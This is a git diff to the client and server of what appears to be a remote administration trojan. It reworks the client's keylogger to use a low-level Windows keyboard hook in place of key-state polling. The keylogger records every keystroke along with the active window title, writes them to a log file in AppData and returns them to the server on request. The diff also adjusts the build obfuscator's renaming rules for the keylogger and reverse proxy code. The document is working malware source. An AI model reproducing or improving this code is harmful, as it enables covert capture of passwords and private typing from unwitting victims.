diff --git a/Client/Core/Keylogger/KeyloggerHelpers.cs b/Client/Core/Keylogger/KeyloggerHelpers.cs
index 3eca2ec7..e53baa3d 100644
--- a/Client/Core/Keylogger/KeyloggerHelpers.cs
+++ b/Client/Core/Keylogger/KeyloggerHelpers.cs
@@ -4,6 +4,7 @@ using System.Text;
using System.Reflection;
using xClient.Core.Keylogger;
using System.Runtime.CompilerServices;
+using System.Windows.Forms;
namespace xClient.Core.Keylogger
{
@@ -92,7 +93,7 @@ namespace xClient.Core.Keylogger
/// True if key is pressed; False if the key is not.
public static bool IsKeyPressed(this short sender)
{
- return (sender & 0x8000) == 0x8000;
+ return (sender & 0x8000) != 0;
}
///
@@ -102,7 +103,7 @@ namespace xClient.Core.Keylogger
/// True if toggled on; False if toggled off.
public static bool IsKeyToggled(this short sender)
{
- return (sender & 0xffff) == 0xffff;
+ return (sender & 0x0001) != 0;
}
public static string BuildString(this KeyloggerModifierKeys sender)
@@ -118,14 +119,28 @@ namespace xClient.Core.Keylogger
string CtrlName = KeyloggerKeys.VK_CONTROL.GetKeyloggerKeyName();
if (!string.IsNullOrEmpty(CtrlName))
- BuiltModifierKeys.Append(CtrlName + " +");
+ BuiltModifierKeys.Append(CtrlName + " + ");
}
if (sender.AltKeyPressed)
{
string AltName = KeyloggerKeys.VK_MENU.GetKeyloggerKeyName();
if (!string.IsNullOrEmpty(AltName))
- BuiltModifierKeys.Append(" " + AltName + " +");
+ BuiltModifierKeys.Append(AltName + " + ");
+ }
+ if (sender.ShiftKeyPressed)
+ {
+ string ShiftName = KeyloggerKeys.VK_SHIFT.GetKeyloggerKeyName();
+
+ if (!string.IsNullOrEmpty(ShiftName))
+ BuiltModifierKeys.Append(ShiftName + " + ");
+ }
+ if (sender.WindowsKeyPressed)
+ {
+ string WinName = KeyloggerKeys.VK_LWIN.GetKeyloggerKeyName();
+
+ if (!string.IsNullOrEmpty(WinName))
+ BuiltModifierKeys.Append(WinName + " + ");
}
return BuiltModifierKeys.ToString();
diff --git a/Client/Core/Keylogger/KeyloggerKeys.cs b/Client/Core/Keylogger/KeyloggerKeys.cs
index 05547efb..151f3802 100644
--- a/Client/Core/Keylogger/KeyloggerKeys.cs
+++ b/Client/Core/Keylogger/KeyloggerKeys.cs
@@ -20,10 +20,10 @@ namespace xClient.Core.Keylogger
public bool ShiftKeyPressed { get; set; }
public bool AltKeyPressed { get; set; }
public bool CtrlKeyPressed { get; set; }
-
public bool CapsLock { get; set; }
public bool NumLock { get; set; }
public bool ScrollLock { get; set; }
+ public bool WindowsKeyPressed { get; set; }
}
///
@@ -36,10 +36,12 @@ namespace xClient.Core.Keylogger
/// Gets the key that was pressed.
///
public KeyloggerKeys PressedKey { get; set; }
+
///
/// An object with the purpose of storing the states of modifier keys.
///
public KeyloggerModifierKeys ModifierKeys { get; private set; }
+
///
/// Determines if one of the modifier keys (excluding shift and caps
/// lock) has been set.
@@ -61,14 +63,16 @@ namespace xClient.Core.Keylogger
// Modifier keys that have a state (toggle 'on' or 'off').
CapsLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_CAPITAL).IsKeyToggled(),
NumLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_NUMLOCK).IsKeyToggled(),
- ScrollLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_SCROLL).IsKeyToggled()
+ ScrollLock = Win32.GetAsyncKeyState(KeyloggerKeys.VK_SCROLL).IsKeyToggled(),
+ WindowsKeyPressed =
+ Win32.GetAsyncKeyState(KeyloggerKeys.VK_LWIN).IsKeyToggled() ||
+ Win32.GetAsyncKeyState(KeyloggerKeys.VK_RWIN).IsKeyToggled()
};
// To avoid having to repeatedly check if one of the modifier
// keys (besides shift and caps lock) was set, just simply
// decide and then store it right here.
- ModifierKeysSet = (ModifierKeys.CtrlKeyPressed || ModifierKeys.AltKeyPressed ||
- ModifierKeys.NumLock || ModifierKeys.ScrollLock);
+ ModifierKeysSet = (ModifierKeys.CtrlKeyPressed || ModifierKeys.AltKeyPressed || ModifierKeys.WindowsKeyPressed);
}
}
@@ -178,7 +182,7 @@ namespace xClient.Core.Keylogger
///
/// SPACEBAR key.
///
- [KeyloggerKey("SPACE", true)]
+ [KeyloggerKey(" ")]
VK_SPACE = 0x20,
///
@@ -793,37 +797,37 @@ namespace xClient.Core.Keylogger
///
/// Left SHIFT key.
///
- [KeyloggerKey("LSHIFT", true)]
+ [KeyloggerKey("SHIFT", true)]
VK_LSHIFT = 0xA0,
///
/// Right SHIFT key.
///
- [KeyloggerKey("RSHIFT", true)]
+ [KeyloggerKey("SHIFT", true)]
VK_RSHIFT = 0xA1,
///
/// Left CONTROL (CTRL) key.
///
- [KeyloggerKey("LCTRL", true)]
+ [KeyloggerKey("CTRL", true)]
VK_LCONTROL = 0xA2,
///
/// Right CONTROL (CTRL) key.
///
- [KeyloggerKey("RCTRL", true)]
+ [KeyloggerKey("CTRL", true)]
VK_RCONTROL = 0xA3,
///
/// Left MENU key.
///
- [KeyloggerKey("LALT", true)]
+ [KeyloggerKey("ALT", true)]
VK_LMENU = 0xA4,
///
/// Right MENU key.
///
- [KeyloggerKey("RALT", true)]
+ [KeyloggerKey("ALT", true)]
VK_RMENU = 0xA5,
///
diff --git a/Client/Core/Keylogger/Logger.cs b/Client/Core/Keylogger/Logger.cs
index f01c166d..92e384e5 100644
--- a/Client/Core/Keylogger/Logger.cs
+++ b/Client/Core/Keylogger/Logger.cs
@@ -1,11 +1,10 @@
using System;
using System.Collections.Generic;
using System.IO;
-using System.Runtime.InteropServices;
using System.Text;
-using System.Threading;
using System.Windows.Forms;
-using xClient.Core.Keylogger;
+using System.Diagnostics;
+using System.Runtime.InteropServices;
namespace xClient.Core.Keylogger
{
@@ -13,13 +12,11 @@ namespace xClient.Core.Keylogger
{
public static Logger Instance;
+ private bool IsEnabled = false;
public bool Enabled
{
- get { return _timerLogKeys.Enabled && _timerFlush.Enabled && _timerEmptyKeyBuffer.Enabled; }
- set
- {
- _timerLogKeys.Enabled = _timerFlush.Enabled = _timerEmptyKeyBuffer.Enabled = value;
- }
+ get { return this.IsEnabled; }
+ set { SetHook(value); }
}
private StringBuilder _logFileBuffer;
@@ -29,17 +26,33 @@ namespace xClient.Core.Keylogger
private readonly string _filePath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) +
"\\Logs\\";
- private readonly KeyloggerKeys[] _allKeys;
- private readonly KeyloggerKeys[] _specialKeys;
- private volatile List _keyBuffer;
- private readonly System.Timers.Timer _timerLogKeys;
- private readonly System.Timers.Timer _timerEmptyKeyBuffer;
+ private LoggedKey keyToLog;
+ private readonly List _keysDown = new List();
private readonly System.Timers.Timer _timerFlush;
+ public struct KeyData
+ {
+ public int vkCode;
+ public int scanCode;
+ public int flags;
+ public int time;
+ public int dwExtraInfo;
+ }
+
+ private const int WM_KEYDOWN = 0x100;
+ private const int WM_KEYUP = 0x101;
+ private const int WM_SYSKEYDOWN = 0x104;
+ private const int WM_SYSKEYUP = 0x105;
+ private const int WH_KEYBOARD_LL = 13;
+
+ public delegate int HookProcDelegate(int nCode, int wParam, ref KeyData lParam);
+ private HookProcDelegate _hook;
+
+ private IntPtr _hookHandle = IntPtr.Zero;
+
///
/// Creates the logging class that provides keylogging functionality.
///
- /// The interval, in milliseconds, to flush the contents of the keylogger to the file.
public Logger(double flushInterval)
{
Instance = this;
@@ -47,84 +60,12 @@ namespace xClient.Core.Keylogger
WriteFile();
- _allKeys = GetKeyloggerKeys();
- _specialKeys = GetSpecialKeys();
-
- _keyBuffer = new List();
-
- this._timerLogKeys = new System.Timers.Timer { Enabled = false, Interval = 10 };
- this._timerLogKeys.Elapsed += this.timerLogKeys_Elapsed;
-
- this._timerEmptyKeyBuffer = new System.Timers.Timer { Enabled = false, Interval = 500 };
- this._timerEmptyKeyBuffer.Elapsed += this.timerEmptyKeyBuffer_Elapsed;
-
this._timerFlush = new System.Timers.Timer { Enabled = false, Interval = flushInterval };
this._timerFlush.Elapsed += this.timerFlush_Elapsed;
this._logFileBuffer = new StringBuilder();
}
- ///
- /// Retrieves an array of all keylogger keys that are special.
- ///
- ///
- private KeyloggerKeys[] GetSpecialKeys()
- {
- List SpecialKeys = new List();
-
- try
- {
- foreach (KeyloggerKeys key in _allKeys)
- {
- try
- {
- if (key.IsSpecialKey())
- {
- SpecialKeys.Add(key);
- }
- }
- catch
- { }
- }
- }
- catch
- { }
-
- return SpecialKeys.ToArray();
- }
-
- ///
- /// Retrieves an array of all keylogger keys that are supported.
- ///
- ///
- private KeyloggerKeys[] GetKeyloggerKeys()
- {
- List NormalKeys = new List();
-
- try
- {
- foreach (KeyloggerKeys key in Enum.GetValues(typeof(KeyloggerKeys)))
- {
- try
- {
- // Must be supported (have a string representation of the key).
- if (!string.IsNullOrEmpty(key.GetKeyloggerKeyName()))
- {
- NormalKeys.Add(key);
- }
- }
- catch
- { }
- }
-
- return NormalKeys.ToArray();
- }
- catch
- {
- return new KeyloggerKeys[0];
- }
- }
-
private string HighlightSpecialKey(string name)
{
if (!string.IsNullOrEmpty(name))
@@ -137,108 +78,110 @@ namespace xClient.Core.Keylogger
}
}
- private void timerEmptyKeyBuffer_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
+ private int HookProc(int nCode, int wParam, ref KeyData lParam)
{
- int j = 0;
-
- foreach (var k in _keyBuffer)
+ if (nCode >= 0)
{
- try
+ switch (wParam)
{
- // Make sure that the key that was logged is not null.
- // If it is, we can safely ignore it by just making it
- // stop here.
- if (k != null)
- {
- // If any modifier key was set besides shift and caps
- // lock, we will handle it differently than we would
- // normal keys.
- if (k.ModifierKeysSet)
- {
- // If the pressed key is special, it should be treated as such
- // by using its provided name.
- if (k.PressedKey.IsSpecialKey())
- {
- // The returned string could be empty. If it is, ignore it
- // because we don't know how to handle that special key.
- // The key would be considered unsupported.
- string pressedKey = k.PressedKey.GetKeyloggerKeyName();
+ case WM_KEYDOWN:
+ case WM_SYSKEYDOWN:
+ //TODO - handle modifier keys in a better way
+ //
+ // If a user presses only the control key and then decides to press a, so the combination would be ctrl + a, it will log [CTRL][CTRL + a]
+ // perhaps some sort of filter?
+ keyToLog = new LoggedKey();
+ keyToLog.PressedKey = (KeyloggerKeys)lParam.vkCode;
- if (!string.IsNullOrEmpty(pressedKey))
+ if (!_keysDown.Contains(keyToLog))
+ {
+ try
+ {
+ _hWndTitle = GetActiveWindowTitle(); //Get active thread window title
+ if (!string.IsNullOrEmpty(_hWndTitle))
{
- _logFileBuffer.Append(HighlightSpecialKey(pressedKey));
+ // Only write the title to the log file if the names are different.
+ if (_hWndTitle != _hWndLastTitle)
+ {
+ _hWndLastTitle = _hWndTitle;
+ _logFileBuffer.Append("
[" + _hWndTitle + "]
");
+ }
+ }
+
+ if (keyToLog.ModifierKeysSet)
+ {
+ if (keyToLog.PressedKey.IsSpecialKey())
+ {
+ // The returned string could be empty. If it is, ignore it
+ // because we don't know how to handle that special key.
+ // The key would be considered unsupported.
+ string pressedKey = keyToLog.PressedKey.GetKeyloggerKeyName();
+
+ if (!string.IsNullOrEmpty(pressedKey))
+ {
+ _logFileBuffer.Append(HighlightSpecialKey(pressedKey));
+ }
+ }
+ else
+ {
+ // The pressed key is not special, but we have encountered
+ // a situation of multiple key presses, so just build them.
+ _logFileBuffer.Append(HighlightSpecialKey(keyToLog.ModifierKeys.BuildString() +
+ FromKeys(keyToLog)));
+ }
+ }
+ else
+ {
+ if (keyToLog.PressedKey.IsSpecialKey())
+ {
+ string pressedKey = keyToLog.PressedKey.GetKeyloggerKeyName();
+
+ if (!string.IsNullOrEmpty(pressedKey))
+ {
+ _logFileBuffer.Append(HighlightSpecialKey(pressedKey));
+ }
+ }
+ else
+ {
+ _logFileBuffer.Append(FromKeys(keyToLog));
+ }
}
}
- else
+ catch
{
- // The pressed key is not special, but we have encountered
- // a situation of multiple key presses, so just build them.
- _logFileBuffer.Append(HighlightSpecialKey(k.ModifierKeys.BuildString() +
- FromKeys(k, false)));
}
- }
- // We don't have to worry about nearly all modifier keys...
- // With the exception of the shift key and caps lock! :)
- // At this point we know that shift or caps lock was the
- // only pressed key.
- else
- {
- // There is not really a need to handle if caps lock or
- // shift has been handled because the way we obtain the
- // value of the pressed key (that is not special) will
- // use the key states and determine for us.
- _logFileBuffer.Append(FromKeys(k));
- }
- }
- }
- catch
- { }
- j++;
+ _keysDown.Add(keyToLog); //avoid multiple keypress holding down a key
+ }
+ break;
+ case WM_KEYUP:
+ case WM_SYSKEYUP:
+ _keysDown.RemoveAll(k => k == keyToLog); //remove 'keydown' key after up message
+ break;
+ }
}
- if (j > 0 && j <= _keyBuffer.Count)
- {
- try
- {
- _keyBuffer.RemoveRange(0, j);
- }
- catch
- { }
- }
+ return Win32.CallNextHookEx(_hookHandle, nCode, wParam, ref lParam);
}
- private void timerLogKeys_Elapsed(object sender, System.Timers.ElapsedEventArgs e)
+ private void SetHook(bool enable)
{
- // Loop through each value in the array of keys to record.
- foreach (byte i in _allKeys)
+ switch (enable)
{
- // GetAsycKeyState returns the result by setting the most significant
- // bit if the key is up, and sets the least significant bit if the
- // key was pressed.
- if (Win32.GetAsyncKeyState(i) == -32767)
- {
- try
- {
- LoggedKey KeyToLog = new LoggedKey() { PressedKey = (KeyloggerKeys)i };
- KeyToLog.RecordModifierKeys();
-
- _keyBuffer.Add(KeyToLog);
- _hWndTitle = GetActiveWindowTitle(); //Get active thread window title
-
- if (!string.IsNullOrEmpty(_hWndTitle))
- {
- // Only write the title to the log file if the names are different.
- if (_hWndTitle != _hWndLastTitle)
- {
- _hWndLastTitle = _hWndTitle;
- _logFileBuffer.Append("
[" + _hWndTitle + "]
");
- }
- }
- }
- catch
- { }
- }
+ case true:
+ _hook = new HookProcDelegate(HookProc);
+ _hookHandle = Win32.SetWindowsHookEx(WH_KEYBOARD_LL, _hook, Win32.GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName), 0);
+ //hook installed, enabled
+ _timerFlush.Enabled = true;
+ IsEnabled = true;
+ Application.Run(); //start message pump for our hook on this thread
+ break;
+ case false:
+ _timerFlush.Enabled = false;
+ if (_hookHandle != IntPtr.Zero)
+ Win32.UnhookWindowsHookEx(_hookHandle);
+ Application.ExitThread(); //Bug: Thread doesn't exit, message pump still running, disconnecting client will hang in memory
+ break;
}
}
@@ -312,20 +255,23 @@ namespace xClient.Core.Keylogger
return Win32.GetKeyboardLayout(Win32.GetWindowThreadProcessId(Win32.GetForegroundWindow(), out pid));
}
- private char? FromKeys(LoggedKey key, bool AllowCapitalization = true)
+ private char? FromKeys(LoggedKey key)
{
//keyStates is a byte array that specifies the current state of the keyboard and keys
//The keys we are interested in are modifier keys such as shift and caps lock
byte[] keyStates = new byte[256];
- keyStates[(int)KeyloggerKeys.VK_SHIFT] = (key.ModifierKeys.ShiftKeyPressed && AllowCapitalization) ? (byte)128 : (byte)0;
- keyStates[(int)KeyloggerKeys.VK_CAPITAL] = (key.ModifierKeys.CapsLock && AllowCapitalization) ? (byte)128 : (byte)0;
+ if (key.ModifierKeys.ShiftKeyPressed)
+ keyStates[(int)KeyloggerKeys.VK_SHIFT] = 0x80;
- keyStates[(int)KeyloggerKeys.VK_MENU] = key.ModifierKeys.CtrlKeyPressed ? (byte)128 : (byte)0;
- keyStates[(int)KeyloggerKeys.VK_CONTROL] = key.ModifierKeys.AltKeyPressed ? (byte)128 : (byte)0;
+ if (key.ModifierKeys.CapsLock)
+ keyStates[(int)KeyloggerKeys.VK_CAPITAL] = 0x01;
- keyStates[(int)KeyloggerKeys.VK_NUMLOCK] = key.ModifierKeys.NumLock ? (byte)128 : (byte)0;
- keyStates[(int)KeyloggerKeys.VK_SCROLL] = key.ModifierKeys.ScrollLock ? (byte)128 : (byte)0;
+ if (key.ModifierKeys.NumLock)
+ keyStates[(int)KeyloggerKeys.VK_NUMLOCK] = 0x01;
+
+ if (key.ModifierKeys.ScrollLock)
+ keyStates[(int)KeyloggerKeys.VK_SCROLL] = 0x01;
var sb = new StringBuilder(10);
diff --git a/Client/Core/Keylogger/Win32.cs b/Client/Core/Keylogger/Win32.cs
index f8eb5309..c3571119 100644
--- a/Client/Core/Keylogger/Win32.cs
+++ b/Client/Core/Keylogger/Win32.cs
@@ -1,10 +1,6 @@
using System;
-using System.Collections.Generic;
-using System.IO;
using System.Runtime.InteropServices;
using System.Text;
-using System.Threading;
-using System.Windows.Forms;
namespace xClient.Core.Keylogger
{
@@ -49,5 +45,20 @@ namespace xClient.Core.Keylogger
[DllImport("user32.dll", ExactSpelling = true)]
internal static extern IntPtr GetKeyboardLayout(uint threadId);
+
+ [DllImport("kernel32.dll")]
+ internal static extern IntPtr LoadLibrary(string lpFileName);
+
+ [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
+ internal static extern IntPtr SetWindowsHookEx(int hookID, Logger.HookProcDelegate callback, IntPtr hInstance, int threadID);
+
+ [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, SetLastError = true)]
+ internal static extern bool UnhookWindowsHookEx(IntPtr hookHandle);
+
+ [DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall)]
+ internal static extern int CallNextHookEx(IntPtr hookHandle, int nCode, int wParam, ref Logger.KeyData lParam);
+
+ [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
+ internal static extern IntPtr GetModuleHandle(string lpModuleName);
}
}
\ No newline at end of file
diff --git a/Client/Program.cs b/Client/Program.cs
index 7794adaa..21358417 100644
--- a/Client/Program.cs
+++ b/Client/Program.cs
@@ -98,7 +98,7 @@ namespace xClient
typeof (Core.Packets.ClientPackets.MonitorsResponse),
typeof (Core.Packets.ClientPackets.ShellCommandResponse),
typeof (Core.Packets.ClientPackets.GetStartupItemsResponse),
- typeof (Core.Packets.ClientPackets.GetLogsResponse)
+ typeof (Core.Packets.ClientPackets.GetLogsResponse),
});
ConnectClient.ClientState += ClientState;
@@ -330,7 +330,7 @@ namespace xClient
}
else if (type == typeof(Core.Packets.ServerPackets.GetLogs))
{
- CommandHandler.HandleGetLogs((Core.Packets.ServerPackets.GetLogs) packet, client);
+ CommandHandler.HandleGetLogs((Core.Packets.ServerPackets.GetLogs)packet, client);
}
}
}
diff --git a/Server/Core/Build/Renamer.cs b/Server/Core/Build/Renamer.cs
index 5ee961f7..4d5ea7ae 100644
--- a/Server/Core/Build/Renamer.cs
+++ b/Server/Core/Build/Renamer.cs
@@ -58,9 +58,14 @@ namespace xServer.Core.Build
private void RenameInType(TypeDefinition typeDef)
{
- if (typeDef.Namespace.StartsWith("My") || typeDef.Namespace.StartsWith("xClient.Core.Packets") ||
- typeDef.Namespace == "xClient.Core" || typeDef.Namespace == "xClient.Core.Elevation" ||
- typeDef.Namespace == "xClient.Core.Compression" || typeDef.Namespace.StartsWith("ProtoBuf"))
+ if (typeDef.Namespace.StartsWith("My")
+ || typeDef.Namespace.StartsWith("xClient.Core.Packets")
+ || typeDef.Namespace == "xClient.Core"
+ || typeDef.Namespace == "xClient.Core.Elevation"
+ || typeDef.Namespace == "xClient.Core.Compression"
+ || typeDef.Namespace.StartsWith("ProtoBuf")
+ || typeDef.Namespace.Contains("xClient.Core.ReverseProxy")
+ || typeDef.Namespace.Contains("xClient.Core.Keylogger"))
return;
TypeOverloader.GiveName(typeDef);